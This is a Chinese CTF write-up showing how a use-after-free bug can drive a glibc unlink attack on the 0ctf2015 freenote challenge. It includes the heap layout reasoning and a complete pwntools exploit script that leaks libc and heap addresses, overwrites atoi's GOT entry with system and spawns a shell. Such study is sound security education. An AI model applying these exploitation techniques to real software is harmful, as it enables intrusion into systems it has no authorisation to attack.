从一道题来体会用UAF打unlink

之前对于 unlink 的理解停留在表面,一直以为得有个堆溢出才能利用。今天做了一道 0ctf2015_freenote ,发现利用 UAF ,依然可以打 unlink … 本来记录一下用 UAF 打 unlink 的思路,关于堆溢出打 unlink 以及该手法的更多细节请见 本文

unlink 的关键在于两点

  1. 去伪造一个 fake_chunk ,并且要已知 &fake_chunk 的地址
  2. 能够控制 fake_chunk 下面的(高地址方向)合法堆块的 prev_size 和 size

上面提到的合法堆块,也被称为引线堆块。当释放掉引线堆块时,因为引线堆块的 prev_inuse 为 0 (需要想办法控制),就会让 ptmalloc 以为引线堆块上面还有一个堆块是处于释放状态,然后要触发合并,通过精心构造的引线堆块 prev_size 找到上一个(低地址方向) fake_chunk ,最终触发 unlink

如果是堆溢出的话,那么很自然 fake_chunk 的构造以及通过溢出来控制引线堆块的 prev_size 和 size 位都轻而易举。下面来看一下只有 UAF 漏洞,如何来做到同样的效果。

前提:存在 UAF 漏洞,以 libc 2.23 为例

  1. 申请 size 为 0x100 堆块 A 和堆块 B (如下图)
image-20230702153901003
  1. 现在释放掉 A 和 B ,二者会合并成一个 0x220 的堆块,处于释放状态
image-20230702154135600
  1. 将这个 0x220 处于释放状态的堆块申请出来,命名为堆块 C (如下),此时将堆块申请出来后,是可以往里面写入数据的,此时来在原本堆块 A 的位置伪造 fake_chunk ,然后让写入的数据来覆盖掉堆块 B 的 prev_size 和 size

    image-20230702154558066
  2. 因为存在 UAF 的原因,所以堆块 B 是可以再次被释放的,而它也就被当做了引线堆块。

说到底,其实 UAF 能导致 unlink 的原因实际上是 double free (是位于 unsorted bin 中的堆块两次释放) 至此前戏完成,后面的伪造 fake_chunk 以及触发 unlink 的操作正常进行即可。下面来结合一道题目具体分析一下

0ctf2015_freenote

保护策略

image-20230702155513169

代码审计

image-20230702155748014

经典菜单堆,增,删,编辑,打印功能都有。delete 函数中存在 UAF 漏洞

在 add 功能中,对申请堆块的大小做了要求,必须要为 0x80 字节对齐(下图红框中体现了这一点),这就意味着申请的堆块都无法进入到 fastbin 中

image-20230702155952680

edit 功能中首先限制了堆块自定义的标志位是否为 1 ,如果不为1的话,说明该堆块已经被释放了(虽然存在 UAF ,但是自定义标志位确实置空了),如果编辑的 size 不等于原本的值,那么会调用 realloc 扩展或缩小堆块

image-20230702160146429

show 函数可以一次直接打印所有堆块里面的数据

利用思路

总结一下前面的已知信息

  1. 申请堆块最小为 0x90,也就是堆块无法进入 fastbin
  2. 有 UAF ,但是会将自定义标志位置零
  3. show 函数和 edit 函数会检查自定义标志位,但是 delete 函数不会
  4. 可以篡改 got 表,并且没开 PIE
  5. 堆块的地址是记录在了初始大堆块中

所以本题的思路是用 show 函数先泄露出 libc 地址和堆地址(因为检查了自定义标志位,所以要将堆块申请出来,利用里面的残留值进行打印),按照本文最开始说的来布局,利用 uaf 做出 unlink

图解过程如下:

image-20230702162401437

image-20230702162714882

image-20230702162431475

释放引线堆块,触发 unlink ,在记录堆块地址的位置写入了一个 &fake_chunk 的地址

然后再记录堆块地址的区域写一个 atoi 函数的 got 表地址,最后用 edit 功能篡改 atoi 的 got 表为 system 地址,执行到 atoi("/bin/sh") 获取 shell

EXP

from tools import *
#context.log_level='debug'
d_a=0x4010D4
d_d=0x4010EC
d_e=0x4010e0
d_s=0x4010C8
p,e,libc=load("pwn","node4.buuoj.cn:26132","buu64-libc-2.23.so")

def add(size,content):
p.sendlineafter("Your choice: ",str(2))
p.sendlineafter("Length of new note: ",str(size))
p.sendafter("Enter your note: ",content)

def show():
p.sendlineafter("Your choice: ",str(1))

def edit(index,size,content):
p.sendlineafter("Your choice: ",str(3))
p.sendlineafter("Note number: ",str(index))
p.sendlineafter("Length of note: ",str(size))
p.sendafter("Enter your note: ",content)

def delete(index):
p.sendlineafter("Your choice: ",str(4))
p.sendlineafter("Note number: ",str(index))



add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)
add(0x100,'a'*0x100)

add(0x10,'b'*0x10)
delete(0)
delete(2)
delete(4)
add(0x8,'c'*8)

show()
p.recvuntil('c'*8)
heap_addr=u64(p.recv(4).ljust(8,b'\x00'))
log_addr('heap_addr')

add(0x8,'q'*0x8)
add(0x8,'x'*0x8)
show()
p.recvuntil('x'*8)

libc_base=recv_libc()-0x3c4c78
log_addr('libc_base')
sys_addr=libc_base+libc.symbols['system']

add(0x100,'r'*0x100)#6
add(0x100,'e'*0x100)#7
add(0x8,'prevent1')#8
debug(p,d_d,d_a,d_e,d_s,0x400F67)
delete(6)
delete(7)


target_addr=heap_addr-0x1980
fake=p64(0)+p64(0x100)
fake+=p64(target_addr-0x18)+p64(target_addr-0x10)
fake+=p64(0)*28
fake+=p64(0x100)+p64(0x110)


add(0x200,fake.ljust(0x200,b'\x00'))#5

delete(7)

edit(6,0x200,p64(e.got['atoi'])*0x40)

edit(5,0x10,p64(sys_addr)*2)
p.sendlineafter("Your choice: ","/bin/sh\x00")
p.interactive()

image-20230702163540908